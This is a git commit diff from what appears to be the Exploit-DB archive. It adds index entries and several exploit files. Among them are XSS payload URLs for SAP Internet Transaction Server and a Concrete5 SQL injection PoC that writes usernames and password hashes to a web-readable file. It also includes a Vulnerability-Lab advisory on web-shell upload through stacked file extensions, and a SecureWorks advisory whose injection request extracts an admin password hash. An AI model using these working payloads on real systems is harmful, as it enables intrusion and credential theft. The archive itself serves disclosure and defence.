Updated 02_20_2014
This commit is contained in:
Offensive Security
parent
bed31fb4b5
commit
c47758095a
26 changed files with 1043 additions and 0 deletions
25
files.csv
25
files.csv
|
|
@ -28486,7 +28486,9 @@ id,file,description,date,author,platform,type,port
|
|||
31691,platforms/hardware/webapps/31691.txt,"Office Assistant Pro 2.2.2 iOS - File Include Vulnerability",2014-02-16,Vulnerability-Lab,hardware,webapps,8080
|
||||
31692,platforms/hardware/webapps/31692.txt,"mbDriveHD 1.0.7 iOS - Multiple Vulnerabilities",2014-02-16,Vulnerability-Lab,hardware,webapps,8080
|
||||
31693,platforms/hardware/webapps/31693.txt,"File Hub 1.9.1 iOS - Multiple Vulnerabilities",2014-02-16,Vulnerability-Lab,hardware,webapps,8080
|
||||
31694,platforms/windows/remote/31694.py,"Eudora Qualcomm WorldMail 9.0.333.0 IMAPd Service UID - Buffer Overflow",2014-02-16,"Muhammad EL Harmeel",windows,remote,0
|
||||
31695,platforms/php/remote/31695.rb,"Dexter (CasinoLoader) SQL Injection",2014-02-16,metasploit,php,remote,0
|
||||
31696,platforms/windows/dos/31696.txt,"Computer Associates eTrust Secure Content Manager 8.0 - 'eCSqdmn' Remote Denial of Service Vulnerability",2008-04-22,"Luigi Auriemma",windows,dos,0
|
||||
31697,platforms/php/webapps/31697.txt,"Horde Webmail 1.0.6 'addevent.php' Cross-Site Scripting Vulnerability",2008-04-23,"Aria-Security Team",php,webapps,0
|
||||
31698,platforms/hardware/remote/31698.txt,"F5 Networks FirePass 4100 SSL VPN 'installControl.php3' Cross-Site Scripting Vulnerability",2008-04-23,"Alberto Cuesta Partida",hardware,remote,0
|
||||
31699,platforms/windows/remote/31699.txt,"RSA Authentication Agent for Web 5.3 URI Redirection Vulnerability",2008-04-23,"Richard Brain",windows,remote,0
|
||||
|
|
@ -28497,8 +28499,10 @@ id,file,description,date,author,platform,type,port
|
|||
31704,platforms/php/webapps/31704.txt,"PHCDownload 1.1 admin/index.php hash Parameter SQL Injection",2008-04-24,ZoRLu,php,webapps,0
|
||||
31705,platforms/php/webapps/31705.txt,"PHCDownload 1.1 upload/install/index.php step Parameter XSS",2008-04-24,ZoRLu,php,webapps,0
|
||||
31706,platforms/unix/remote/31706.txt,"IBM Lotus Expeditor 6.1 URI Handler Command Execution Vulnerability",2008-04-24,"Thomas Pollet",unix,remote,0
|
||||
31707,platforms/windows/dos/31707.txt,"Computer Associates ARCserve Backup Discovery Service Remote - Denial Of Service Vulnerability",2008-04-24,"Luigi Auriemma",windows,dos,0
|
||||
31708,platforms/php/webapps/31708.txt,"Joomla Visites 1.1 Component mosConfig_absolute_path Remote File Include Vulnerability",2008-04-26,NoGe,php,webapps,0
|
||||
31709,platforms/php/webapps/31709.txt,"Siteman 2.0.x2 'module' Parameter Cross-Site Scripting and Local File Include Vulnerability",2008-04-26,IRCRASH,php,webapps,0
|
||||
31710,platforms/novell/dos/31710.txt,"Novell GroupWise 7.0 - HTML Injection and Denial of Service Vulnerabilities",2008-04-26,"Juan Pablo Lopez Yacubian",novell,dos,0
|
||||
31711,platforms/windows/dos/31711.html,"Microsoft Excel 2007 JavaScript Code Remote Denial Of Service Vulnerability",2008-04-26,"Juan Pablo Lopez Yacubian",windows,dos,0
|
||||
31712,platforms/php/webapps/31712.txt,"miniBB 2.2 'bb_admin.php' Cross-Site Scripting Vulnerability",2008-04-28,IRCRASH,php,webapps,0
|
||||
31713,platforms/linux/dos/31713.py,"PeerCast 0.1218 'getAuthUserPass' Multiple Buffer Overflow Vulnerabilities",2008-04-29,"Nico Golde",linux,dos,0
|
||||
|
|
@ -28516,7 +28520,28 @@ id,file,description,date,author,platform,type,port
|
|||
31725,platforms/php/webapps/31725.txt,"Zen Cart 2008 index.php keyword Parameter SQL Injection",2008-05-02,"Ivan Sanchez",php,webapps,0
|
||||
31726,platforms/php/webapps/31726.txt,"Zen Cart 2008 index.php keyword Parameter XSS",2008-05-02,"Ivan Sanchez",php,webapps,0
|
||||
31727,platforms/php/webapps/31727.txt,"ChiCoMaS 2.0.4 'index.php' Cross Site Scripting Vulnerability",2008-05-02,"Hadi Kiamarsi",php,webapps,0
|
||||
31728,platforms/multiple/dos/31728.txt,"Call of Duty 4 1.5 - Malformed 'stats' command Denial of Service Vulnerability",2008-05-02,"Luigi Auriemma",multiple,dos,0
|
||||
31729,platforms/php/webapps/31729.pl,"SiteXS CMS 0.0.1 'upload.php' Arbitrary File Upload Vulnerability",2008-05-03,"Hadi Kiamarsi",php,webapps,0
|
||||
31730,platforms/php/webapps/31730.txt,"GEDCOM_TO_MYSQL php/prenom.php Multiple Parameter XSS",2008-05-05,ZoRLu,php,webapps,0
|
||||
31731,platforms/php/webapps/31731.txt,"GEDCOM_TO_MYSQL php/index.php nom_branche Parameter XSS",2008-05-05,ZoRLu,php,webapps,0
|
||||
31732,platforms/php/webapps/31732.txt,"GEDCOM_TO_MYSQL php/info.php Multiple Parameter XSS",2008-05-05,ZoRLu,php,webapps,0
|
||||
31733,platforms/hardware/webapps/31733.txt,"My PDF Creator & DE DM 1.4 iOS - Multiple Vulnerabilities",2014-02-18,Vulnerability-Lab,hardware,webapps,50496
|
||||
31735,platforms/php/webapps/31735.txt,"Concrete5 5.6.2.1 (index.php, cID param) - SQL Injection",2014-02-18,killall-9,php,webapps,80
|
||||
31737,platforms/windows/remote/31737.rb,"Oracle Forms and Reports Remote Code Execution",2014-02-18,metasploit,windows,remote,0
|
||||
31738,platforms/php/webapps/31738.txt,"Open Web Analytics 1.5.4 (owa_email_address param) - SQL Injection Vulnerability",2014-02-18,"Dana James Traversie",php,webapps,0
|
||||
31739,platforms/php/webapps/31739.txt,"TLM CMS 1.1 'index.php' Multiple SQL Injection Vulnerabilities",2008-05-05,ZoRLu,php,webapps,0
|
||||
31740,platforms/php/webapps/31740.html,"LifeType 1.2.8 'admin.php' Cross Site Scripting Vulnerability",2008-05-05,"Khashayar Fereidani",php,webapps,0
|
||||
31741,platforms/php/webapps/31741.txt,"Maian Uploader 4.0 index.php keywords Parameter XSS",2008-05-05,"Khashayar Fereidani",php,webapps,0
|
||||
31742,platforms/php/webapps/31742.txt,"Maian Uploader 4.0 admin/index.php keywords Parameter XSS",2008-05-05,"Khashayar Fereidani",php,webapps,0
|
||||
31743,platforms/php/webapps/31743.txt,"Maian Uploader 4.0 admin/inc/header.php Multiple Parameter XSS",2008-05-05,"Khashayar Fereidani",php,webapps,0
|
||||
31744,platforms/php/webapps/31744.txt,"osCommerce 2.1/2.2 Multiple Cross-Site Scripting Vulnerabilities",2008-05-05,"David Sopas Ferreira",php,webapps,0
|
||||
31745,platforms/php/webapps/31745.txt,"BatmanPorTaL uyeadmin.asp id Parameter SQL Injection",2008-05-05,U238,php,webapps,0
|
||||
31746,platforms/php/webapps/31746.txt,"BatmanPorTaL profil.asp id Parameter SQL Injection",2008-05-05,U238,php,webapps,0
|
||||
31747,platforms/php/webapps/31747.pl,"iGaming CMS 1.5 'poll_vote.php' SQL Injection Vulnerability",2008-05-05,Cod3rZ,php,webapps,0
|
||||
31748,platforms/windows/dos/31748.txt,"Yahoo! Assistant 3.6 'yNotifier.dll' ActiveX Control Memory Corruption Vulnerability",2008-05-06,Sowhat,windows,dos,0
|
||||
31750,platforms/php/webapps/31750.txt,"QTO File Manager 1.0 'qtofm.php' Arbitrary File Upload Vulnerability",2008-05-06,"CrAzY CrAcKeR",php,webapps,0
|
||||
31751,platforms/php/webapps/31751.txt,"Sphider 1.3.4 'query' Parameter Cross-Site Scripting Vulnerability",2008-05-06,"Christian Holler",php,webapps,0
|
||||
31752,platforms/php/webapps/31752.txt,"Forum Rank System 6 'settings['locale']' Parameter Multiple Local File Include Vulnerabilities",2008-05-07,Matrix86,php,webapps,0
|
||||
31753,platforms/php/webapps/31753.txt,"Tux CMS 0.1 Multiple Cross-Site Scripting Vulnerabilities",2008-05-07,"Hadi Kiamarsi",php,webapps,0
|
||||
31754,platforms/cgi/webapps/31754.txt,"SAP Internet Transaction Server 6200.1017.50954.0 Bu WGate wgate.dll ~service Parameter XSS",2008-05-08,Portcullis,cgi,webapps,0
|
||||
31755,platforms/cgi/webapps/31755.txt,"SAP Internet Transaction Server 6200.1017.50954.0 Bu query String Javascript Splicing XSS",2008-05-08,Portcullis,cgi,webapps,0
|
||||
|
|
|
|||
|
Can't render this file because it is too large.
|
10
platforms/cgi/webapps/31754.txt
Executable file
10
platforms/cgi/webapps/31754.txt
Executable file
|
|
@ -0,0 +1,10 @@
|
|||
source: http://www.securityfocus.com/bid/29103/info
|
||||
|
||||
SAP Internet Transaction Server is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
These issues affect ITS 6200.1017.50954.0, Build 730827 (win32/IIS 5.0).
|
||||
|
||||
|
||||
http://www.example.com/scripts/wgate.dll?~service=--><img%09src=javascript:alert(xss)
|
||||
9
platforms/cgi/webapps/31755.txt
Executable file
9
platforms/cgi/webapps/31755.txt
Executable file
|
|
@ -0,0 +1,9 @@
|
|||
source: http://www.securityfocus.com/bid/29103/info
|
||||
|
||||
SAP Internet Transaction Server is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
|
||||
|
||||
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
|
||||
|
||||
These issues affect ITS 6200.1017.50954.0, Build 730827 (win32/IIS 5.0).
|
||||
|
||||
http://www.example.com/scripts/wgate/%22);alert('xss');alert(%22a/!
|
||||
267
platforms/hardware/webapps/31733.txt
Executable file
267
platforms/hardware/webapps/31733.txt
Executable file
|
|
@ -0,0 +1,267 @@
|
|||
Document Title:
|
||||
===============
|
||||
My PDF Creator & DE DM v1.4 iOS - Multiple Vulnerabilities
|
||||
|
||||
|
||||
References (Source):
|
||||
====================
|
||||
http://www.vulnerability-lab.com/get_content.php?id=1201
|
||||
|
||||
|
||||
Release Date:
|
||||
=============
|
||||
2014-02-16
|
||||
|
||||
|
||||
Vulnerability Laboratory ID (VL-ID):
|
||||
====================================
|
||||
1201
|
||||
|
||||
|
||||
Common Vulnerability Scoring System:
|
||||
====================================
|
||||
7.3
|
||||
|
||||
|
||||
Product & Service Introduction:
|
||||
===============================
|
||||
My PDF Doc is the all-in-one document management solution for iPhone, iPod touch and iPad. It can catch documents from PC
|
||||
or Mac via USB cable or WIFI, email attachments, Dropbox and box and save it on your iPhone, iPod Touch or iPad locally. Cool
|
||||
app that allow you to create PDF from Map, Website and any other text files. My PDF Doc supports PDF, MS Office, iWorks and
|
||||
the most common file types.
|
||||
|
||||
(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/my-pdf-creator-document-editor/id725481535 )
|
||||
|
||||
|
||||
Abstract Advisory Information:
|
||||
==============================
|
||||
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the official My PDF Creator &
|
||||
Document Editor (Document Manager) v1.4 iOS mobile web-application.
|
||||
|
||||
|
||||
Vulnerability Disclosure Timeline:
|
||||
==================================
|
||||
2014-02-16: Public Disclosure (Vulnerability Laboratory)
|
||||
|
||||
|
||||
Discovery Status:
|
||||
=================
|
||||
Published
|
||||
|
||||
|
||||
Affected Product(s):
|
||||
====================
|
||||
Apple AppStore
|
||||
Product: My PDF Creator & Document Editor (Document Manager) - iOS 1.4
|
||||
|
||||
|
||||
Exploitation Technique:
|
||||
=======================
|
||||
Remote
|
||||
|
||||
|
||||
Severity Level:
|
||||
===============
|
||||
High
|
||||
|
||||
|
||||
Technical Details & Description:
|
||||
================================
|
||||
1.1
|
||||
A local file include- and an arbitrary file upload vulnerability has been discovered in the official My PDF Creator &
|
||||
Document Editor (Document Manager) v1.4 iOS mobile web-application. The local file include web vulnerability allows
|
||||
remote attackers to unauthorized include local file/path requests or system specific path commands to compromise
|
||||
the web-application/device.
|
||||
|
||||
The vulnerability is located in the upload file > submit module of the mobile web-application interface.
|
||||
Remote attackers can manipulate the `upload > submit` POST method request with the vulnerable `filename`
|
||||
value to compromise the application or connected device components. The issue allows remote attackers to
|
||||
include local app path values or wifi web-server files. The exploitation appears on the application-side
|
||||
and the inject request method is POST. The exection occurs in the main index file dir list or in the
|
||||
selected sub category folder/path. The security risk of the local file include web vulnerability is
|
||||
estimated as high(+) with a cvss (common vulnerability scoring system) count of 7.3(+)|(-)7.4.
|
||||
|
||||
Exploitation of the vulnerability requires no user interaction or privileged mobile application user account.
|
||||
Successful exploitation of the file include web vulnerability results in mobile application compromise,
|
||||
connected device compromise or web-server compromise.
|
||||
|
||||
Request Method(s):
|
||||
[+] POST
|
||||
|
||||
Vulnerable Module(s):
|
||||
[+] Upload File
|
||||
|
||||
Vulnerable Procedure(s):
|
||||
[+] Submit
|
||||
|
||||
Vulnerable Parameter(s):
|
||||
[+] filename
|
||||
|
||||
Affected Module(s):
|
||||
[+] File Dir Index Listing (http://localhost:50496)
|
||||
[+] Sub Category (Path) Listing (http://localhost:50496/.xpath)
|
||||
|
||||
|
||||
1.2
|
||||
An arbitrary file upload web vulnerability has been discovered in the official My PDF Creator & Document Editor
|
||||
(Document Manager) v1.4 iOS mobile web-application. The arbitrary file upload issue allows remote attackers to
|
||||
upload files with multiple extensions to bypass the web-server or system validation. As result the attacker is
|
||||
mostly able to execute the uploaded malicious file.
|
||||
|
||||
The vulnerability is located in the upload file module with the submit procedure. Remote attackers are able to upload
|
||||
a php or js web-shells by a rename of the file with multiple extensions to bypass the file restriction mechanism.
|
||||
The attacker uploads for example a web-shell with the following name and extension `image.jpg.gif.js.php.jpg`. After the
|
||||
upload the attacker needs to open the file in the web application. He deletes the .jpg & . gif file extension and can
|
||||
access the application with elevated access rights. The security risk of the arbitrary file upload web vulnerability
|
||||
is estimated as high with a cvss (common vulnerability scoring system) count of 6.7(-).
|
||||
|
||||
Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privileged mobile application
|
||||
user account with password. Successful exploitation of the vulnerability results in unauthorized file access because of a
|
||||
compromise after the upload of web-shells.
|
||||
|
||||
Request Method(s):
|
||||
[+] [POST]
|
||||
|
||||
Vulnerable Module(s):
|
||||
[+] Upload File
|
||||
|
||||
Vulnerable Parameter(s):
|
||||
[+] filename (multiple extensions)
|
||||
|
||||
Affected Module(s):
|
||||
[+] File Dir Index Listing (http://localhost:50496)
|
||||
[+] Sub Category (Path) Listing (http://localhost:50496/.xpath)
|
||||
|
||||
|
||||
Proof of Concept (PoC):
|
||||
=======================
|
||||
1.1
|
||||
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged mobile
|
||||
application user account. For security demonstration or to reproduce the vulnerability follow the information and steps below.
|
||||
|
||||
PoC: File Dir Index Listing - filename
|
||||
|
||||
<div id="module_main">?????<h2>Wi-Fi File Transfer</h2>
|
||||
<hr><div class="files"><bq>Files</bq>
|
||||
<p><a href="..">..</a><br> </p><a href="TESTER23.jpg">TESTER23</a>
|
||||
( 23.8 Kb, 2014-02-15 13:45:00 +0000)<br>
|
||||
<a href="<[LOCAL FILE INCLUDE VULNERABILITY!]>"><[LOCAL FILE INCLUDE VULNERABILITY!]"></a>
|
||||
( 23.8 Kb, 2014-02-15 13:45:46 +0000)<br />
|
||||
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1">
|
||||
<label>upload file<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form>
|
||||
<hr></div></div></div></center></body></html></iframe>?????</a></div></div>
|
||||
|
||||
PoC URL: http://localhost:50496/Box/[LOCAL FILE!]
|
||||
|
||||
--- PoC Session Logs [POST] ---
|
||||
|
||||
Status: 200[OK]
|
||||
POST http://localhost:50496/Box/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[6660] Mime Type[application/x-unknown-content-type]
|
||||
Request Header:
|
||||
Host[localhost:50496]
|
||||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]
|
||||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
|
||||
Accept-Encoding[gzip, deflate]
|
||||
Referer[http://localhost:50496/Box/]
|
||||
Connection[keep-alive]
|
||||
POST-Daten:
|
||||
POST_DATA[-----------------------------102971529617546
|
||||
Content-Disposition: form-data; name="file"; filename="./[LOCAL FILE INCLUDE VULNERABILITY!]"
|
||||
Content-Type: image/jpeg
|
||||
|
||||
|
||||
1.2
|
||||
The arbitrary file upload web vulnerability can be exploited by remote attackers without user interaction or privileged mobile
|
||||
application user account. For security demonstration or to reproduce the vulnerability follow the information and steps below.
|
||||
|
||||
|
||||
PoC: File Dir Index Listing - filename (multiple extensions)
|
||||
|
||||
<div id="module_main">?????<h2>Wi-Fi File Transfer</h2>
|
||||
<hr><div class="files"><bq>Files</bq>
|
||||
<p><a href="..">..</a><br> </p><a href="TESTER23.jpg">TESTER23</a>
|
||||
( 23.8 Kb, 2014-02-15 13:45:00 +0000)<br>
|
||||
<a href="<%20image[ARBITRARY FILE UPLOAD VULNERABILITY!].jpg.gif.js.php.jpg>"><%20image[ARBITRARY FILE UPLOAD VULNERABILITY!].jpg.gif.js.php.jpg"></a>
|
||||
( 23.8 Kb, 2014-02-15 13:45:46 +0000)<br />
|
||||
</p><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1">
|
||||
<label>upload file<input type="file" name="file" id="file" /></label><label><input type="submit" name="button" id="button" value="Submit" /></label></form>
|
||||
<hr></div></div></div></center></body></html></iframe>?????</a></div></div>
|
||||
|
||||
PoC URL: http://localhost:50496/Box/%20image[ARBITRARY FILE UPLOAD VULNERABILITY!].jpg.gif.js.php
|
||||
|
||||
|
||||
--- PoC Session Logs [POST] ---
|
||||
Status: 200[OK]
|
||||
POST http://localhost:50496/Box/ Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr??e des Inhalts[6660] Mime Type[application/x-unknown-content-type]
|
||||
Request Header:
|
||||
Host[localhost:50496]
|
||||
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]
|
||||
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
|
||||
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
|
||||
Accept-Encoding[gzip, deflate]
|
||||
Referer[http://localhost:50496/Box/]
|
||||
Connection[keep-alive]
|
||||
POST-Daten:
|
||||
POST_DATA[-----------------------------102971529617546
|
||||
Content-Disposition: form-data; name="file"; filename="%20image[ARBITRARY FILE UPLOAD VULNERABILITY!].jpg.gif.js.php.jpg"
|
||||
Content-Type: image/jpeg
|
||||
|
||||
|
||||
Solution - Fix & Patch:
|
||||
=======================
|
||||
1.1
|
||||
The vulnerability can be patched by a secure encode and parse of the vulnerable filename value in the upload file post submit method request.
|
||||
Encode also the vulnerable filename value in the file dir index output list to prevent future lfi attacks.
|
||||
|
||||
1.2
|
||||
Setup a file filter mechanism and restrict the filename input in the vulnerable upload POST method request.
|
||||
Reconfigure the uplaod file access right to prevent future arbitrary file uplaod with unauthorized executable access.
|
||||
|
||||
|
||||
Security Risk:
|
||||
==============
|
||||
1.1
|
||||
The security risk of the local file include web vulnerability is estimated as high.
|
||||
|
||||
1.2
|
||||
The security risk of the arbitrary file upload web vulnerability is estimated as high(-).
|
||||
|
||||
|
||||
Credits & Authors:
|
||||
==================
|
||||
Vulnerability Laboratory [Research Team] - Katharin S. L. (CH) (research@vulnerability-lab.com) [www.vulnerability-lab.com]
|
||||
|
||||
|
||||
Disclaimer & Information:
|
||||
=========================
|
||||
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
|
||||
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
|
||||
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
|
||||
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
|
||||
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
|
||||
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
|
||||
or trade with fraud/stolen material.
|
||||
|
||||
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
|
||||
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
|
||||
Section: www.vulnerability-lab.com/dev - forum.vulnerability-db.com - magazine.vulnerability-db.com
|
||||
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
|
||||
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
|
||||
|
||||
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
|
||||
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
|
||||
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and
|
||||
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
|
||||
modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
|
||||
|
||||
Copyright ? 2014 | Vulnerability Laboratory [Evolution Security]
|
||||
|
||||
|
||||
|
||||
--
|
||||
VULNERABILITY LABORATORY RESEARCH TEAM
|
||||
DOMAIN: www.vulnerability-lab.com
|
||||
CONTACT: research@vulnerability-lab.com
|
||||
|
||||
|
||||
11
platforms/multiple/dos/31728.txt
Executable file
11
platforms/multiple/dos/31728.txt
Executable file
|
|
@ -0,0 +1,11 @@
|
|||
source: http://www.securityfocus.com/bid/29026/info
|
||||
|
||||
Call of Duty is prone to a denial-of-service vulnerability because the application fails to handle specially crafted commands.
|
||||
|
||||
An attacker can exploit this issue to crash the affected application, denying service to legitimate users.
|
||||
|
||||
Call of Duty 4 1.5 is vulnerable; other versions may also be affected.
|
||||
|
||||
http://www.exploit-db.com/sploits/31728-1.zip
|
||||
|
||||
http://www.exploit-db.com/sploits/31728-2.zip
|
||||
11
platforms/novell/dos/31710.txt
Executable file
11
platforms/novell/dos/31710.txt
Executable file
|
|
@ -0,0 +1,11 @@
|
|||
source: http://www.securityfocus.com/bid/28944/info
|
||||
|
||||
Novell GroupWise is prone to an HTML-injection vulnerability and a denial-of-service vulnerability.
|
||||
|
||||
By exploiting the HTML-injection vulnerability, attackers can execute HTML and script code in the context of the affected site, potentially allowing them to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.
|
||||
|
||||
By exploiting the denial-of-service vulnerability, attackers can crash the application.
|
||||
|
||||
Novell GroupWise 7 is vulnerable to these issues; other versions may also be affected.
|
||||
|
||||
http://www.exploit-db.com/sploits/31710.zip
|
||||
21
platforms/php/webapps/31735.txt
Executable file
21
platforms/php/webapps/31735.txt
Executable file
|
|
@ -0,0 +1,21 @@
|
|||
# Exploit Title: Concrete5 sql injection
|
||||
# Date: 18/02/2014
|
||||
# Exploit Author: killall-9@mail.com
|
||||
# Vendor Homepage: https://www.concrete5.org/
|
||||
# Software Link: http://www.concrete5.org/download_file/-/view/58379/8497/
|
||||
# Version: 5.6.2.1 (stable)
|
||||
# Tested on: Virtualbox debian
|
||||
URL as a poc:
|
||||
http://localhost/concrete5.6.2.1/index.php/?arHandle=Main&bID=34&btask=passthru&ccm_token=1392630914:be0d09755f653afb162d041a33f5feae&cID[$owmz]=1&method=submit_form
|
||||
will produce:
|
||||
|
||||
An unexpected error occurred.
|
||||
mysqlt error: [1054: Unknown column 'Array' in 'where clause'] in EXECUTE("select Pages.cID, Pages.pkgID, Pages.cPointerID, Pages.cPointerExternalLink, Pages.cIsActive, Pages.cIsSystemPage, Pages.cPointerExternalLinkNewWindow, Pages.cFilename, Collections.cDateAdded, Pages.cDisplayOrder, Collections.cDateModified, cInheritPermissionsFromCID, cInheritPermissionsFrom, cOverrideTemplatePermissions, cCheckedOutUID, cIsTemplate, uID, cPath, cParentID, cChildren, cCacheFullPageContent, cCacheFullPageContentOverrideLifetime, cCacheFullPageContentLifetimeCustom from Pages inner join Collections on Pages.cID = Collections.cID left join PagePaths on (Pages.cID = PagePaths.cID and PagePaths.ppIsCanonical = 1) where Pages.cID = Array")
|
||||
|
||||
We can exploit the parameters Pages.cID in order to do some hackz:
|
||||
|
||||
another URL as a poc:
|
||||
|
||||
http://localhost/concrete5.6.2.1/index.php/?arHandle=Main&bID=34&btask=passthru&ccm_token=1392630914:be0d09755f653afb162d041a33f5feae&cID=1 union select uName,uPassword,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 from Users into outfile '/var/www/concrete5.6.2.1/ownz.txt'&method=submit_form
|
||||
|
||||
byez
|
||||
93
platforms/php/webapps/31738.txt
Executable file
93
platforms/php/webapps/31738.txt
Executable file
|
|
@ -0,0 +1,93 @@
|
|||
Dell SecureWorks Security Advisory SWRX-2014-001
|
||||
Open Web Analytics Pre-Auth SQL Injection
|
||||
|
||||
Advisory Information
|
||||
Title: Open Web Analytics Pre-Auth SQL Injection
|
||||
Advisory ID: SWRX-2014-001
|
||||
Advisory URL: http://www.secureworks.com/cyber-threat-intelligence/advisories/SWRX-2014-001/
|
||||
Date published: Thursday, January 9, 2014
|
||||
CVE: CVE-2014-1206
|
||||
CVSS v2 base score: 7.5
|
||||
Date of last update: Wednesday, January 8, 2014
|
||||
Vendors contacted: Open Web Analytics
|
||||
Release mode: Coordinated
|
||||
Discovered by: Dana James Traversie, Dell SecureWorks
|
||||
|
||||
Summary
|
||||
Open Web Analytics (OWA) is open source web analytics software that can track and analyze how visitors use websites and applications. OWA is vulnerable to SQL injection that allows an attacker to execute arbitrary SQL statements in the context of the configured OWA database user without authenticating to the web application.
|
||||
|
||||
Affected products
|
||||
This vulnerability affects Open Web Analytics v1.5.4.
|
||||
|
||||
Vendor Information, Solutions, and Workarounds
|
||||
The vendor has released an updated version to address this vulnerability. OWA users should upgrade to version v1.5.5 or later.
|
||||
|
||||
Details
|
||||
An SQL injection vulnerability exists in Open Web Analytics v1.5.4 due to insufficient input validation of the ‘owa_email_address’ parameter on the password reset page. The password reset page does not require user authentication. A remote attacker can leverage this issue to execute arbitrary SQL statements in the context of the configured OWA database user. The impact of the vulnerability varies based on the deployment and configuration of the OWA, database, and web server software. Successful exploitation could result in complete loss of confidentiality, integrity, and availability in the OWA database and may affect the entire underlying database management system. This issue could also lead to operating system compromise under the right conditions.
|
||||
|
||||
CVSS severity (version 2.0)
|
||||
Access vector: Network
|
||||
Access complexity: Low
|
||||
Authentication: None
|
||||
Impact type: Manipulation of SQL queries and execution of arbitrary SQL commands on the underlying
|
||||
database
|
||||
Confidentiality impact: Partial
|
||||
Integrity impact: Partial
|
||||
Availability impact: Partial
|
||||
CVSS v2 base score: 7.5
|
||||
CVSS v2 impact subscore: 6.4
|
||||
CVSS v2 exploitability subscore: 10
|
||||
CVSS v2 vector: (AV:N/AC:L/Au:N/C:P/I:P/A:P)
|
||||
|
||||
Proof of concept
|
||||
|
||||
Request:
|
||||
|
||||
POST /owa/index.php?owa_do=base.passwordResetForm HTTP/1.1
|
||||
Host: 10.11.28.70
|
||||
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer: https://10.11.28.70/owa/index.php?owa_do=base.passwordResetForm
|
||||
Connection: keep-alive
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 296
|
||||
|
||||
owa_email_address=-4534%27+UNION+ALL+SELECT+3627%2C3627%2C3627%2C3627%2C3627%2CCONCAT%280x7177766871%2CIFNULL%28CAST%28password+AS+CHAR%29%2C0x20%29%2C0x7176627971%29%2C3627%2C3627%2C3627%2C3627+FROM+owa.owa_user+LIMIT+0%2C1%23&owa_action=base.passwordResetRequest&owa_submit=Request+New+Password
|
||||
|
||||
Response:
|
||||
|
||||
HTTP/1.1 200 OK
|
||||
Date: Fri, 14 Feb 2014 17:03:43 GMT
|
||||
Server: Apache/2.2.15 (Red Hat)
|
||||
X-Powered-By: PHP/5.3.3
|
||||
Content-Length: 3538
|
||||
Connection: close
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
|
||||
Invalid address: qwvhqe2744931d91565ed5b44a1d52746afa0qvbyq<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
|
||||
<title> - Open Web Analytics</title>
|
||||
<!-- HEAD Elements -->
|
||||
..
|
||||
|
||||
The password hash of the admin user included in the response: e2744931d91565ed5b44a1d52746afa0
|
||||
|
||||
Revision history
|
||||
1.0 2014-01-09: Initial advisory release
|
||||
|
||||
PGP keys
|
||||
This advisory has been signed with the Dell SecureWorks Counter Threat Unit™ PGP key, which is
|
||||
available for download at http://www.secureworks.com/SecureWorksCTU.asc.
|
||||
|
||||
About Dell SecureWorks
|
||||
